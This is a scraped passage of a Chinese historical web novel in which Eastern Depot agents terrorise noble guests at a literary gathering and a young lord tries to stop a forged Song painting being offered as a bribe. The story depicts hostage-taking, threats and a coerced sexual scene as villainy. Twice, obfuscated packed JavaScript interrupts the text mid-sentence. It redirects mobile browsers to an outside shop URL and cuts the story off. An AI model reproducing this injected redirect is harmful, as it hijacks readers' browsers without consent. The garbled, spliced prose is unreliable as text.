半个时辰前，吴家的丫鬟们散了，为着少爷们之中有人会将筹令汇编成诗集，故此一一将签令送还男席，鹿啄作为高克行所派 “探子”，自然也回去了。 高雅英和高汐英的面色都不好看，猜签出错，最终是她们自己没悟到“衣裳”二字没在面上而在底下，也不好为此事拌嘴纠缠， 就都冷着对方，各自赏花、品香。 但女眷之中，有一人的脸色，比她们都要差。 邓氏频频拦住两侧来往的吴家丫鬟，不住地向她们询问同一个问题： “万少爷入席了没有？” 但每次所获答句，都是一个简单的“没有” 她开始忧心起来，很长时间以来，万梓阙的状态都不大对劲，平日里最轻狂、傲慢、不可一世的夫君，从某天开始，突然变成了 唯唯诺诺、惶惶不可终日的样子。她知道有事，但问了也不说，后来她以为是丈夫在外挥霍，花光了银钱，不知如何回济南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030563|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府应 付老爷夫人。 可银钱上的事，真的值得万梓阙如此吗？ 为验证心中疑影，她叫丫鬟给京中母家去了信，去信石沉大海，杳无回音。 她越害怕，也就越依赖丈夫，纵然丈夫和她，都是堪堪才到十九岁的年纪，但除了互相扶持，已别无他法，她能做的事实在是太 少了。 今日的雅集，来的都是权贵之家的少爷小姐们，她原想着能探知些什么，再不济，也可以暂时纾解心中郁气，跟姐妹们谈笑一 番，说不定丈夫那边也开怀，疑难就自解了呢。 然而真正开了席，丈夫却迟迟不到，她真的紧张起来，知道自己必须凑到高家或严家的身边去，她们也是京官家的女眷，就算没 消息，也能理解她的担忧，为她出谋划策。 思虑及此，邓氏娘子由丫鬟搀着，莲花款步，欲到亭中找高雅英。席上离亭中不过数十步，她走得又快，走着走着，却突然发觉时间好像慢了，路好像长了。 她赶紧停下来，这才发现，时间和路都没有变，只是周围的所有人，不知什么时候，一齐噤声不动了。 整个花园之中，唯余流水、鸟鸣之声而已。 邓氏的心骤然跳得很快，在胸腔中搏动不已，她伸手去按胸口，怎么都压不下的心悸，这时一个吴家的丫鬟匆忙跑过来，刻意在 这万籁俱寂中狠狠压住声量，道： “小姐们，快跑。” 跑？为什么要跑？往哪儿跑？ 她还没想明白这中间的道理，就看见屏风后头绕进来一名男子，那人豹头环眼，虎背熊腰，膀子有院里的水缸那么宽，感觉让他抓上一下命都要去半条，像是要印证她的惧怕一样，那人猛地伸手抓住跑在前头的丫鬟，几乎是将丫鬟凌空抓了起来，又随手掷于身后。 在场的高门女眷们见了这一幕，都有物伤其类之感，却因为教养，没人高声尖叫，只是不约而同地都捂住了嘴巴。 越来越多与前者相似的壮汉从靠近假山一侧的屏风处鱼贯而入，假山后头是一条小路，直通内宅角门，前面男席是注意不到的， 无声之中，这些人渐渐将屏风两侧的出口全都堵死了。 严娅姹终于忍不住，喝到： “什么人！此处是同知府上官眷女席，你们胆敢擅闯？” 还不及她的丫鬟拉她，一块儿脏臭的破布就被人执着塞入她口中，又拿绳子缚住，看严娅姹再发不出声响，两侧壮汉才分开，身后现出一人。 严娅姹早看见那人在那儿了，因为他太高了，纵然一看就是打手出身的两个汉子在前头挡着，仍能看到那人的额头。 他穿一身毫无杂色的月白纻丝曳撒，其下隐约可见雪白绸裤的轮廓，裤脚收束于一双白鹿皮靴之中，这人一定极为偏爱月白色， 全身上下只有手上的玄铁扳指能算作颜色上的装点。 按理说，这么一身打扮，该是在人群里十分惹眼，但他的脸又太平常了。 短脸，凤眼，眼瞳极黑，但眼神散漫，只能看见一半瞳仁，其它五官皆不算出彩，要把每个部分分给别人，都会拉低了别人姿容的风采，但放在他的脸上，还算熨帖适宜。 “各位小姐不必知道我是谁，也不必知道我要做什么。” 他的声音应该是他最大的特点。 脆而有冷质，跟外貌格格不入，十分动听，过耳不忘。 “在下有两件事相求，”他说话时在园中踱步，眼睛在每个人身上都只停留一息，“其一，从现在开始，无论发生什么，各位小姐 都不可以高声叫喊，也不可以逃走或是反抗。” “其二，今日在此的，你们的夫婿、兄弟、青梅竹马，不在此的，你们的父母、亲人、乃至于先生、老师、相交知己，命现在都 在我手里。如果我要问你们问题，你们只能回答，不可以骗我。” 踱到严娅姹切近，他看到严娅姹惊怒交加的眼神，弯腰又补了一句，不知是对严娅姹说，还是对着所有人说： “我的规矩，就是这片天的规矩，懂了没有？” 34. 雅集·十四万人齐卸甲 花园方轩之内，两个不速之客走后，留下的人群一下子炸开了，人像噼啪烧起来的火星子，四处乱窜，声音不绝于耳。 “吴同知这是什么意思！给阉人下了拜帖，却不告诉咱们！” “呸，我看见阉人就作呕，什么东西，也妄图风雅。” “我等还是即刻告辞，别在这儿碍着吴家和万家的高升。” 一时说什么的都有，零星还能听到两句专骂太监的污言秽语。 鹿啄蹲在地上，把刚得来的鱼刺跟鱼皮剥离干净，又在活水里涮了涮，拿在手里看，有几处不顺滑的地方，拿到石头上磨，忽听 得身后有人道： “阿啄，你可知道爷的脸是什么？” 不必猜，只能是高克行晃悠过来了，鹿啄随手指了指自己的脸作为回应。 高克行叹道： “对啊，爷的脸就是你的皮，你要什么不好，非得要太监的鱼身上的刺？你想刺谁？我？那何必呢，你现在站起来对天大喊三声‘我是高克行的人’，我即刻体无完肤。” 这是点她刚刚犹豫都不犹豫，直接在人群里指他的事，鹿啄没理，琢磨了一下太监这个词，下山前好像听过。 高克行被她冷落，觉得心里怪怪的，本来就是逗她，一下打了个棉花套子，怅然若失，他又哄： “你气我？好阿啄，我胡说的，你想要什么就拿，你要是喜欢那太监顶上的冠也都只管去拿，就说是我想要。”他走到鹿啄身 侧，让鹿啄能看见他，附身道： “无非一死，搏姑娘一笑。” 鹿啄不知道幽王搏褒姒一笑的典故，真以为高克行想看她笑。 卖笑是绝对不行的，逐娘教过。鹿啄摇了摇头： “你活着吧。” 高克行一愣，随即凑近了，很郑重地道： “那你可要让我活。” 如若鹿啄的仇家在高家，可要让他活下来；还有今天的场面，要帮他活过去。 鱼刺水磨得平整，鹿啄简单“嗯”了一声算作答应，还没等高克行再说什么，殷封和严昆冈两个找了过来。 看见鹿啄在磨鱼刺，殷封气不打一处来，对高克行道： “她险些害死你，现在还没事人一样。” 高克行笑： “我要让她这么轻易就害死了，活着也是废物。” 话里话外，不让殷封把对错生死归在鹿啄脑袋上，严昆冈心道他也太偏这个丫头，便岔开话题拦了一句： “两位仁兄，眼下不是说这个的时候，怎么办，咱们走不走？” “走？”高克行直起腰，逼视眼前二人。 那两人无知觉，只有疑惑，高克行长叹一声，抬手点指严昆冈和殷封，道： “你是谁？他又是谁？万家那个狗东西已经一出溜了，咱们这边最有头脸的就是你大理寺卿之子，他威节侯之子，几个太监给你 们吓得躲回家去，世伯和世叔会怎么想？传到京城，他们算什么？” 严昆冈知道他说的有理，避而不战就是逃，且他们一走，这边清流子弟一定塌架子，等于把场面让给了阉党，默认太监在青州文 人中一手遮天，可他脸上也挂不住，只能勉强驳道： “我不屑、也不齿于与太监同席，他们不配。” 高克行眼珠子快翻到天上去，他笑一声： “好，那看看太监们那边会怎么说吧，是说你不齿、不屑，还是说你缩头的王八，瞪眼的死鱼。” 好一个王八、死鱼，严昆冈一口气哽在喉咙里，深知他骂得对，但要他怎么办？他们说到底都是京官，跟青州的这些官场权斗又 有什么关系，真要为了给几个土鳖出头，将自己置于险地吗？ 半晌不出声的殷封此时回头看了看人群，见没人注意，示意高克行和严昆冈走远了一些，绕到一个假山后头，他又四下望了望， 倒是没人跟上来。 除了鹿啄。 “这丫头……”殷封无奈地望向高克行。 “不妨事，说你的。” 高克行泰然自若，冲鹿啄指了指假山石的孔洞，让她看着点外面的动静。 殷封只有说了： “方才我们俩过来前，听到一个信儿。”他声音又压低了几分，“万梓阙一连几个月，都在到处打听有没有东厂和镇守太监的门路。” 所以他今天这是搭上了线。严昆冈点点头： “不错，但有些怪，他指名要东厂的门路，镇守太监倒在其次。” 什么事，一旦沾上了东厂，绝不会有好，这是共识。 万家是山东承宣布政使，掌山东文政，山东镇守太监行皇权监察，凌驾于地方三司之上，两者面上虽互不统属，平行往来，但政事上多有互通协作，明路有瓜葛不说，暗地里私相授受更不在少数，如果万梓阙想要找镇守太监的关系，可以直接问家里要，做什么要舍近求远呢？ 高克行的脸一下子白了。 “完了。”他抬起一只手覆于双目之上，狠狠捏着太阳穴，“万家出事了。” “万家的事。” 陈阿猫负手而立，盯着面前的邓氏，温和道： “是大还是小，你知道吗？” 邓氏抖如筛糠，面色煞白，泪如雨下，一句话也说不出，没人束缚她，也没人让她跪，但她就是跪着，而且一刻也控制不住自己。 人群中不发抖的人是少数，就连提前知道会发生这样的事的吴小姐，也骇得战栗不止，陈阿猫似乎有意留心到她，远远招呼道： “吴小姐！”他脸上露出些歉意，“对不住，我手下人办事鲁莽，怎么给你也扣在这儿了。” 他说话间朝吴小姐的方向走去，不但留在身后的邓娘子不敢动，连那吴小姐，也是随着陈阿猫的接近越来越站立不稳。 “快走吧，你哥哥在等你了，咱们还要谢过吴同知的筹划，不能恩将仇报。” 陈阿猫注意不到的地方，即刻有几道憎恶地目光朝吴小姐射去，吴小姐当然也顾不上，连忙点头，颤抖道： “多，多，多谢陈大人。” 说罢，吴小姐见对方毫无反应，以生平最快的速度倒退到内宅小路的入口，见没人阻她，一没身，完全消失在屏风后头。 两个汉子为陈阿猫搬来太师椅，陈阿猫回身过去坐了，两腿交叠，一手撑着额角，对底下一众身份高贵的女子道： “诸位小姐，今日是我礼数不周了，我有些更紧要的事要做，不能多陪，但你们也勿要失望，我会叫我的一位同僚来作陪，一定 让小姐们尽兴而归。” 无人应答，大多人都不知道刚刚男席上叶孤萍到来的一幕，自然也就不知道同僚是指谁。 “他呢，比我厉害些，不过你们也别害怕，都是金枝玉叶的小姐，伤了谁，我都没法交待。” 他那种独特的，婉转而动听的声音，让人十分信服他说的都是真话，可场面上，又不可能有一句是真的。 “但是好在，” 陈阿猫露出一个笑容，犹如感激上苍垂怜，继续道： “你们的丫鬟都不是金枝玉叶。所以我跟同僚都商量好了，等一下要是有打伤的，我们一人奉送五两银子作她们的诊金，要是有 打死的，一人二十两，算我们买。” 有几个丫鬟当即跪了下去，失声痛哭。 “别哭啊。”陈阿猫站起来，伸了伸胳膊，“我怎么不知道这里头有什么要哭的地方？是我的市价搞错了？你们这里面有超过二十两的丫头？” 自然没人说话。 “哦，我忘了。”陈阿猫恍然大悟的样子，“这儿有妾，有公子们买的妾。妾是要贵一些的，但也不算金枝玉叶，那么一人就赔五十两吧，再贵的也不行，毕竟我们做事的挑费都是公中的钱，我不好挥霍。” 他轻易的把人命按心中贵贱评议了价格，丫头在他心中是物件、财产、附庸，一旦损坏或损毁，都是可以用金钱赔偿的，而一旦有哪位性情软弱、不谙世事的小姐真的收了这些钱，那财产就让渡给了陈阿猫，收钱的小姐就成了认罪、认赔，就算闹到大理寺，也纠不出他的大错。 但不收钱的这个选择，也并不存在。 想要从这个局面中逃脱，没有别的办法，只有逃，只有在真正的恐怖降临之前，离开这里。 严娅姹的丫鬟并没被束缚，她看到小姐不断投来的眼神，知道是叫她伺机跑出去。这里只有她们家的小姐平日里喜欢骑马游猎， 也只有她们的身体算强健，只要能跑出去，不用跑得太远，要么跑到男席求救，要么跑到马厩里找一匹快马。 只是男席现在怎么样了？也是跪倒一片吗？ 还是他们并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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另一声，源自高雅英，但高雅英并没受伤，而是衣服被陈阿猫手中双剑划出了交叉的口子。 方才还抱有一丝生机的小姐们，心中只余绝望，有人抽气、有人瑟缩发抖、有人全身僵直，乃至犹如一座石雕，一动不动。严娅姹别过头，不看高雅英，眼中蓄泪；来自高家的女眷们，包含高汐英在内，几乎同一时间落下两道泪来，玉珰、银钿、花络三个，更是哭得跪坐下去。 陈阿猫回头道： “我说怎么看着眼熟，长得不像，秉性有点像。” 叶孤萍再没有嚣张气焰，把丫鬟丢给一个打手，自己低头行礼，问： “爷爷说的是哪个？” 陈阿猫剑尖指了指高雅英： “就她，”指完，他回过头，问高雅英，“你也是姓高的吧？” 高雅英哪里顾得上答他，那两剑虽然没伤她，但是远比伤她一千刀更要羞辱，在屏风内不下数十个男人的环绕中，她一个尚未出阁的女子被人划破了衣服，受人旁观、鉴赏，她无论如何也不能用险地之中，暂时放下名声名节这句话劝慰自己。 玉珰在她身后，立即脱了比甲，盖在高雅英身前。 手持双剑之人冷眼瞧着，也不阻止玉珰，见衣服完全盖好了，才道： “对不住，我这双剑是才练的，手上没准头。” 他完全可以把那件比甲扒了，但他选择给高雅英一点点的尊严，并不是因为怜香惜玉之类的理由，而是这件衣服，得在最需要扒的时候，在最需要让她尊严扫地的时候，才扒掉。 在这个“饿死事小，失节事大。”的世间规则之中，只是两块破了的布，就足以要一位名门千金的性命。甚至她今日如果毫发未 伤的回到高府之中，她也不敢跟任何人，哪怕是父母兄弟，提起方才的那一瞬间，她只能为了一个不存在的理由，任由这种剥夺发生。 剥夺她的尊严、她的矜持、她作为人应有的不被审视、不被轻易审判的权力。 他并非是要她受伤这么简单，他是要在众目睽睽之下，将一个活人，变为一件物品。 “我得走了。” 陈阿猫把手中双剑随意扔给一个打手，对叶孤萍道： “别搞砸了。” 35. 雅集·千里马 叶孤萍抚着自己手腕上的红痕，却并没在想方才受伤的事。 伺候的小监过来，连同番子们把邓氏娘子和她所携的仆婢都押到跟前，但叶孤萍迟迟不动。 一个人知道自己将要遭殃而还没有遭殃的时候是最折磨的，小监明白这个道理，故而很得意地给叶孤萍打着扇子，也不疑惑什 么，不过他虽然没有疑惑，却有一分好奇，小监极谦卑恭敬地问叶孤萍： “爷爷您知道，我这狗肚子里装不下二两香油，您一直不说，咱们也不敢问，但这会儿没旁人，您能不能开个恩，好叫我们死了 也作明白鬼，能知道方才那位大人是干什么的？” 下头跪的都是旁人，但已是阶下囚，也该叫她们知道害怕，陈阿猫虽然说对外要当他只是藩王府上太监的伴当，可事已经做了， 就不必再防着打草惊蛇。 叶孤萍仍若有所思，答道： “查案的钦差，在锦衣卫的本官是北镇抚司镇抚使，兼任东厂理刑百户，老祖宗的干儿子，原名叫陈星霜。” 这回答的语气平淡，内容却瘆人，小监刚听到镇抚使，就已经跪下了，那句东厂理刑百户出来，他登时甩了自己两个嘴巴。 “叫你多嘴多问！叫你多嘴多问！” 掴完，他膝行两步，趴伏在叶孤萍腿上，泣道： “爷爷，孙子无意冒犯小祖宗的名讳，以后再不敢多嘴了。” 因叶孤萍的表情晦暗不明，小监以为自己知道了不该知道的，一味求饶。 但叶孤萍并没有诱使他自寻死路，他只是真的在考量什么，不及思考就答了。 他考量的，就是这个叫陈星霜的人。 叶孤萍很怕他。 可叶孤萍怕的不是镇抚使，也不是理刑百户，甚至不是掌印太监的干儿子。 他怕的就是陈星霜。 一月前，内廷递消息出来，层层传递，到他手里时，吩咐东厂有位要紧的大人要来青州，下头得即刻准备美人若干，骏马几匹。 很寻常的要求，叶孤萍想也没想就应了，他还记得自己叫手下人去办，一共寻来了十一位擅弹唱伺候的美人，还有三匹上好的岔口驿马。 难得下来一趟的爷爷们，不是个个都要一样的东西。有的喜欢热闹，就要预备听曲儿有排场的地方；有的喜欢僻静，也不好女 色，就要找小官的家里接待，看着体面。 陈星霜的要求属于非常好办的那一类。除了美人和马，他只又要了一幢宅子，宅子里要能跑马。 钦差驾临第三日夜里，叶孤萍按约定去听旨，刚进了宅子，就见有两个小监正在跑马。 深更半夜在家里跑马。叶孤萍觉得古怪，就特意问了问。那两个小监答他，陈刑爷并没说要做什么用，只说要一直跑一直跑，不 能停下来，直到里头传召。 叶孤萍更觉诧异了，问小监：那这样，马不就跑死了吗？ 两个小监不明就里，叶孤萍多问无意，就继续朝宅子里走。 走到里头，议事的厅堂里并没见陈星霜，他问了人，才知道陈星霜在卧室，既然他在休息，叶孤萍觉得可以稍事等候，但一个番子出来，请他进了卧房的外间。 到了外间，就见里三层外三层，跪了一地的太监。 所有人，都是青州本地的阉宦。 叶孤萍心中打鼓，但第一反应是他们自己人里头出了跟案子有挂碍的，便先不表明身份，选了个不易察觉的位置，跪下了。 里间的门洞开着，叶孤萍抬头偷眼查看，能看见陈星霜就坐在架子床上，两腿交叠，穿一件中衣，直裰松垮垮搭在身上，没系腰带。叶孤萍奉上的那十一个美人，一个都不少，全列在床边。 一般的钦差上官下来要人，只会选一两个满意的挑走，纵然有贪得无厌的，也无福消受这么多，至多会分批传唤，可今天，这十一个竟然一个都不少，而且外间还跪了一群太监。 叶孤萍只觉心中鼓声越发激烈，本能觉得不该再看，可他移不开眼睛。 只见床上之人忽然笑了，侧歪过头，两手平举，敞开怀抱，对左右站着的美人道： “替我宽衣。” 这些美人好像很熟悉这个流程了，有过去挑他的衣襟、有人脱他的靴子、有人扒他的中衣。 叶孤萍此时还不知要发生什么，但他发现陈星霜正看着自己。 后来他见到的，都是陈星霜眼睛半睁开的样子，可那天晚上陈星霜的眼睛，像是要用亘古的浓黑，吸去他的魂魄。 里间的声音传来，那是一种叶孤萍早已遗忘的、属于完整男女的声响。 他看见陈星霜在晃动的人影中始终挂着笑容，那双眼越过美人的肩头，时不时地与他的眼神交汇，每一眼，都让他胃中一阵翻涌。 那些叶孤萍亲手遴选，查过家世，甚至调教过手艺的美人，一个接一个，走上陈星霜疯狂无序的床榻。 太监们所有人都没走，也不许走，番子就守在门口。 如果说像叶孤萍这样称惯了自己奴婢的人，还会被什么场面羞辱，那就是眼前这个场面。 比起那些女人的身体，陈星霜的身体才是深深地伤害了他，让他呼吸都很困难。他这样偷生的残缺，看到这样强悍的完整，却不 能愤怒，也不能叫嚷。 极度的形体美与极度的恶念，狰狞地混在一起，叶孤萍的头很涨，那当众进行，大肆宣扬的淫行，让他一会儿觉得他所在的这个 房间并不存在，一会儿又觉得，他自己也并不存在。 他不知道那天晚上到底是怎么结束的，大概天亮的时候，那些女子让人从床上抬了下来。 抬过叶孤萍的身边，叶孤萍没有勇气抬头去看，但他能闻到，那腥膻浓郁的气味，让他这样的人都觉得，有些想吐。 陈星霜坐在床边，微微气喘，额头上有层薄汗，他仍在笑，笑着问一个番子： “我的马如何了？” 那番子一拱手： “陈爷，马已经跑死了。” “好。” 陈星霜很轻松地抬了抬手，袖子滑落，露出他一大片氤氲着水红的皮肤，他轻喘着道： “割了来吃吧。” 话音刚落，叶孤萍几乎跌坐在地。 他要马，大半夜又跑马，原来是拿来吃的吗？ 为什么要吃跑死的马？ 本朝的马有多金贵，北边的马市，哪怕是病了，跛了的蒙古马都一天贵似一天，他却要活活把马跑死，再割着吃？ 这是一个什么样的人？或者说，这还是人吗？ 新鲜割下的马肉流水一样送入房中，切成小片，表面用火灼过，可掩盖不住那活活耗尽全部生气后，流露出的冲天的骚臭。 可陈星霜还是吃了，他甚至没用筷子。 吃完了马，他又把所有战战兢兢，气儿都不敢喘的太监们搜罗了起来，也没说什么要紧的事，甚至没有谕旨，只有简单的口谕传达，然后他们一行人，跌跌撞撞地离开了那里。 叶孤萍离开以后也打听过，这人在青州并没什么名声，但有些从京城下放闲职的太监是听说过他的。 此人纵丨欲，如恶鬼，凡要女子，一夜少于十个则不够；凡宴饮用膳，必吃刚刚跑死的骏马；凡杀人理刑，必着白衣。 ----------------- 殷封、严昆冈不明就里，面面相觑，想了半天，没有头绪。 殷封催促道： “怎么就出事，你平日里那么多话，别打哑谜啊！” 高克行放下手，直视二人，道： “他家里是布政使，找太监的关系为什么要去外面，为什么要来青州？又为什么一定得是东厂的关系，东厂是干嘛的，你们不知道？” 严昆冈家里出任大理寺卿，到底比殷封这个勋贵敏感些，脸也白了下去，小声道： “东厂在查万家？” “对，”高克行已调整过来，面色如常，“地方上到哪里找东厂的关系？他敢这么问，就说明东厂的人眼下就在青州，说不定，就 在雅集上。” 那两人不由得都是后脊一凉，一阵悚然爬上脑后，只听高克行又道： “万家一定出事了，而且是大事。” 他转向严昆冈： “京城里的案子查下来，东厂的人才会来，可既然是京城里的案子，你严家怎么不知道？这是陛下有意瞒着，他瞒着，就证明掀出来的时候，有挂碍的人，没一点生路，要一击即溃。” 严昆冈左手微微颤抖，殷封尚能自持，但脚跟打晃。 “东厂是内廷的人，要么事情出在内廷，要么这事犯了天颜，陛下震怒，主犯已经悄悄杀了，不然没道理一点风都不叫刑部和你家知道。犯在内廷，是他们太监去磕破头，与咱们无关，今日叶孤萍也不可能敢再摆这么大的排场，所以只能 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高家尤其脱不开，高彦韬的亲兄弟，高家长房高彦邦就是青州知府，是万家的直隶下属，哪怕他什么都没做，也是一个失察包庇 之罪，加之东厂来查这件事，他们素爱以“瓜蔓抄”行株连，沾上一点边都跑不掉，严、高、殷三家实打实的姻亲，谁也跑不 了。 严昆冈有些控制不住地哆嗦起来： “那怎么办？咱们把万梓阙拿在手上，不是拿了个烫手山芋吗？而且怎么拿？他能舍了家里，听咱们的？” 片刻的沉默后，高克行叫了一声： “阿啄。” 鹿啄正在透过假山石的孔隙看方轩，这些人说的话她也听了，也努力去理解了，但不完全懂。 只知道高家可能有事，她正在心里琢磨，高家有事，殷碧会怎么样？如果旁的事要了殷碧的命，她接不接受？ “你认识万梓阙是哪个吗？” 高克行难得严肃地问她，鹿啄摇摇头： “不认识，但可以猜。” 说罢，她抬手指着孔隙之外，透过孔隙，能看到抖如筛糠的万梓阙，正让左右小厮，小心翼翼地捧出一幅画。 “作死！”高克行怒道，“殷封！截住他！千万别让他把画拿出来！” 他叫殷封而非鹿啄，是因为以鹿啄的身份去拦，势必全场都要对鹿啄注目，今日是否能逃脱还未知，鹿啄只要不被东厂注意到， 她自己总能脱身。 殷封不知为何去拦，但他极少见到高克行这番神态，连一刻犹豫也没有，手撑住假山较矮的位置，一个翻身越过，两步冲到万梓阙身旁，一手按住了他的小厮，那画还没完全从褡裢里拿出来，让殷封一怼，小厮差点失手摔落。 假山后头，高克行和严昆冈疾步绕出来，也到了近前，只见万梓阙不敢正眼瞧人，双手握拳盯着地面道： “干、干、干，干什么？” 他心虚，说话也结巴，偷瞄了两眼，发现过来的人里有高克行，更是又羞又恼，眼睛像要把地面看穿。 方轩里不少人已经看过来了，他们本就在看高、殷、严三人的动向，决定是否要溜，一下三人都出现在万梓阙的身侧，这里自然成了焦点。 高克行凑近了万梓阙，声音极低： “你要把画给太监？你腔子上面接的是猪头？！” 被他看破心事，万梓阙后退两步，羞愤道： “干你何事？你管的这样宽？” “几日不见，万少爷怎的骤然发颠？”高克行冷哼一声，“你以为一副宋画，能保你全家性命，你当这是赶大集，什么都能用买的？人家瞧不瞧得上这些，你一身轻贱骨头几斤几两，就不知道掂量？” “你懂什么！”万梓阙一把推开他，从小厮手里抢过褡裢，执拗道： “这是宋画！宋画！他们阉人最爱附庸风雅，都想着有一天洗脱了脏名儿，这东西能入他们的眼！” 一句咒骂已在嘴边，高克行生生咽了回去，镇定对万梓阙道： “可你这是一张假画。” 话如快刀，一下扎进万梓阙胸膛里，他知道这画是假，但不能被人揭破。被拆穿的心虚让他疾步后退，还要反驳，却猛然顿住，感觉自己像是撞上了一道石门，赶紧回身查看，就见那个自称陈阿猫的人，正弯腰看着他，脸几乎贴上他的脸，微笑道： “什么假画呀？” 36. 雅集·秋山萧寺图 如果今日雅集上有什么人最像东厂的厂卫。 那就是陈阿猫了。 高克行看了一眼万梓阙。 狗已入穷巷。 他必须在万梓阙发疯献画之前拦住他，至少要让叶孤萍和陈阿猫知道这画是假的，且与东厂或阉党毫无关系，只是一个蠢人上了一场傻当，被公之于众传为笑柄，仅此而已。 好在万梓阙真的不聪明，他一定是那种极受宠爱的好儿子，平日里只会读读书、逛逛园子，爱着家里的每一个人，怕他们有事， 宁可豁命，但政治嗅觉低到完全没看出陈阿猫才是那个他真正需要行贿的人。 叶孤萍还没回来。 东厂的人出现在这里一定是有大事的，叶孤萍跟一个丫头和花花公子拉杂不清，误了他的事，所以他才不顾身份被看穿也要站出 来给叶孤萍难看，那事后极可能跟着训诫或别的安排。 耽搁的事大概就是献画，陈阿猫事先知道万梓阙要给叶孤萍献画。 只是不知他知不知道这画是假的。 如果知道，他就是要当面治万梓阙一个藐视皇权，戏辱东厂的罪名，这是顶了天的死罪，万梓阙会死得非常难看。 可别人也跑不了，只要在场，就是知情、就是来往，这是陈阿猫给所有清流公子们设下的死局，只差万梓阙跳梁小丑式的演出，至于没出现在这儿的叶孤萍。 高克行不动声色地扫了一眼女席的位置，那里已经很久没传来什么大的动静了。如果他是东厂的人，他也一定会先把主要人手放 在家眷的控制上，惠而不费。 只能拖、只能把所有事压住，拖一个高家能到京城转圜的机会，只要今天不事发，所有人不当场下狱，就还有活下来的机会。 但这件事，必须高克行做，别无他选。 “陈大人。”高克行脸上绽出一个笑容，“来得正好，有件趣事请您品评。” 他一脚踩住万梓阙正要挪动的官靴，手猛然抓住了后者怀里抱着的褡裢，不给万梓阙发作的机会，道： “您瞧瞧，说是承宣布政使家的公子，眼力竟这样差，学得又次，几日前，这厮拿了幅画在我等面前炫耀，被我点破是假的，他 便怀恨在心。今日竟想拿来请贵人们掌眼，您说是不是夏虫不可语冰，我说都说不明白。” 陈阿猫身形不动，笑得温和，但不说话。 感知到脚下万梓阙正暗暗反抗，高克行一把扯开褡裢，将那副秋山萧寺图整个展了出来，对陈阿猫笑道： “我想，既然如此，王府的中贵人们是见过世面的，莫说宋画，就是吴道子的真迹，也是摸得见得的，还不如请中贵人亲自上眼，砸了他的牌子，叫他不敢再在人前，丢他老子的颜面。” 这场献画已经成了鉴画，万梓阙想再挣扎，再说“不是，这画是献给叶镇守的！”已不行了，一张有假画疑点的东西，谁敢呈给镇守太监，就算他咬牙呈了，仍会现场鉴画，这已成事实，别人只会当他是不想承认受骗，硬撑面子。 现在最重要的，就是要证明这是一幅真迹，只有它是真迹，才能再借话头，献给叶孤萍。 陈阿猫动了动，伏低了身子，凑近看了看那秋山萧寺图，摇摇头，笑道： “我看倒像是真的。” 明明是假，但陈阿猫要是一口咬定是真，鉴画这样全凭个人眼力的事情，只要没有实据，争不出个定论，到时万梓阙必要再献。 在拿出杀手锏前，高克行还想再挣扎一下。 “陈大人倒是雅量。”他说话间走到书案边上，伸手拿过一支湖笔，“您看破不说破，给他留脸，但我心眼儿太小。” 在场者，只有陈阿猫、万梓阙、殷封、严昆冈，及他自己知道这幅画上系着多少人的命，但只他一个，知道自己要做什么。 “此画承郭淳夫之风，郭淳夫官拜翰林待诏直长，为宋廷作院体画，画风讲究法度严谨，工整细腻，设色沉着，每作巨嶂山水，山石灵动，但作此画者，笔锋就太‘露’了。” 他说着，就要拿手中湖笔圈出他说的太“露”之处。这笔尖是蘸了墨的，只是蘸得浅，他想趁众人留意他所说内容之时，佯装不 知笔上有墨，在不经意间毁去这幅秋山萧寺图，这一来，万梓阙再没有献画的可能。 可他笔尖就要点上，手腕忽然被人拉住了。 高克行心知大势已去，但还是笑着转过头，听陈阿猫对他道： “二少爷，这笔上有墨，还不知道真假，别把画毁了。” “哦，果真如此。”高克行假意低头去看笔尖，同时想挣脱陈阿猫，但他挣不开，只能又笑，道： “陈大人，你我身份有别，就算都是男人，也不该这么一直拉着。” “是吗？”陈阿猫反而握紧了几分，“我倒觉得跟二少爷一见如故，不忍放你。” 如果一松手，你又说笔没抓住，往画上戳，耍无赖可怎么好。 没等高克行再说出什么来，陈阿猫接上一句： “并非我不信二少爷的眼力，只是赏画这样的事，全凭个人的喜恶，我觉得这山石也并非很露，就是宋廷院体画的遗风，二少爷可还有什么办法，证明此画为假吗？” 没有了，除了会害了别人的办法，没有了。 高克行低头沉默着，他知道不该将阿啄的性命与这院中数十口人的性命放在一个天平上度量。可他心里，偏偏已经长出了这杆 秤，正摇摇晃晃，来回搅和着他的良知。 “既然你说不出个所以然来！” 万梓阙蛰伏已久，见高克行被人钳制，也从高克行的脚下窜将出来，高喊道： “那这画就是真的咯！既然是一副价值连城的真画，我有意将此画献……” “阿啄！” 一声呼唤截口将万梓阙打断，高克行平平无奇的丫头从人群里走了出来，不明就里地凑近高克行，看他正跟陈阿猫僵持，那丫鬟 一挥手，打落了陈阿猫攥着高克行的手掌。 陈阿猫的脸上露出一个十分真切的笑容。 很多年没人在他不愿意的时候碰过他了。也很久没人阻碍过他了。 “没让你打陈大人……”高克行松了松手腕，苦笑着看鹿啄，“有事找你。” 他知道无论是力量，还是武学，他无法与陈阿猫抗衡，比起鹿啄，他才是那个需要保护的人，但他还是把鹿啄拉到身后，对陈阿猫道： “陈大人恕罪，我这婢子脑子直，一根筋，她真的不懂您身份尊贵，如有冒犯之处，我愿替婢子领罚。” “不妨事。”陈阿猫的手腕上浮出一个清晰的红印，他用衣袖盖了，“没想到高二少爷在用人上，有独特的爱好，喜欢雕琢璞 玉。” 他清冽动听的声音觉不出是不是有意讥讽，高克行笑了笑，把湖笔放在桌上。 就算他此时再要毁画，陈阿猫也能再次拦他，况且无意用了蘸墨的笔，和有心毁，是两件不同的事，他不能故技重施，只能答： “倒也并非如此，陈大人有所不知，她有一样别人都没有的本事。” 